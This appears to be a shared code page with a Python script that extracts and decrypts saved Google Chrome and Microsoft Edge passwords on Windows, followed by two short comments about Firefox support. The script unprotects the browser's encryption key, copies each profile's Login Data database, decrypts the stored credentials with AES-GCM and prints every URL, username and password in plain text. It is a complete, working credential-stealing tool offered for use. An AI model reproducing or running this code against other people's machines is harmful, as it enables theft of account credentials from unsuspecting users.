Example of a local browser password extractor - Google Chrome, MS Edge

extract.py

import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
import shutil
from Cryptodome.Cipher import AES

def get_encrypted_key(home_folder):
    try:
        with open(os.path.normpath(home_folder + "\Local State"), "r", encoding="utf-8") as f:
            local_state = json.loads(f.read())
        encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
        return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
    except Exception as e:
        print(f"{str(e)}\n[E] Couldn't extract encrypted_key!")
        return None

def decrypt_password(ciphertext, encrypted_key):
    try:
        chrome_secret = ciphertext[3:15]
        encrypted_password = ciphertext[15:-16]
        cipher = AES.new(encrypted_key, AES.MODE_GCM, chrome_secret)
        return cipher.decrypt(encrypted_password).decode()
    except Exception as e:
        print(f"{str(e)}\n[E] Couldn't decrypt password. Is Chromium version older than 80?")
        return ""

def get_db(login_data_path):
    try:
        shutil.copy2(login_data_path, "login_data_copy.db")
        return sqlite3.connect("login_data_copy.db")
    except Exception as e:
        print(f"{str(e)}\n[E] Couldn't find the \"Login Data\" database!")
        return None

def get_chromium_creds(user_data, browser_name):
    if (os.path.exists(user_data) and os.path.exists(user_data + r"\Local State")):
        print(f"[I] Found {os.environ['USERPROFILE']}'s {browser_name} folder - decrypting...")
        encrypted_key = get_encrypted_key(user_data)
        folders = [item for item in os.listdir(user_data) if re.search("^Profile*|^Default$",item)!=None]
        for folder in folders:
            # Get data from the Login Data file (SQLite database)
            login_data_path = os.path.normpath(fr"{user_data}\{folder}\Login Data")
            db = get_db(login_data_path)
            if(encrypted_key and db):
                cursor = db.cursor()
                cursor.execute("select action_url, username_value, password_value from logins")
                for index,login in enumerate(cursor.fetchall()):
                    url = login[0]
                    username = login[1]
                    ciphertext = login[2]
                    if (url!="" and username!="" and ciphertext!=""):
                        decrypted_pass = decrypt_password(ciphertext, encrypted_key)
                        print(str(index)+" "+("="*50)+f"\nURL: {url}\nUsername: {username}\nPassword: {decrypted_pass}\n")
            # Remove the temporary file
            cursor.close()
            db.close()
            os.remove("login_data_copy.db")

try:
    # Extract Google Chrome passwords
    chrome_user_data = os.path.normpath(fr"{os.environ['USERPROFILE']}\AppData\Local\Google\Chrome\User Data")
    get_chromium_creds(chrome_user_data, "Google Chrome")
    # Extract Microsoft Edge passwords
    edge_user_data = os.path.normpath(fr"{os.environ['USERPROFILE']}\AppData\Local\Microsoft\Edge\User Data")
    get_chromium_creds(edge_user_data, "Microsoft Edge")
except Exception as e:
    print(f"[E] {str(e)}")

would be super cool the same on edge or firefox

@InfHorus

would be super cool the same on edge or firefox

Hello! This script already works for Edge! (or at least it did).
As for Firefox, I can recommend firefox_decrypt.py from this project: https://github.com/unode/firefox_decrypt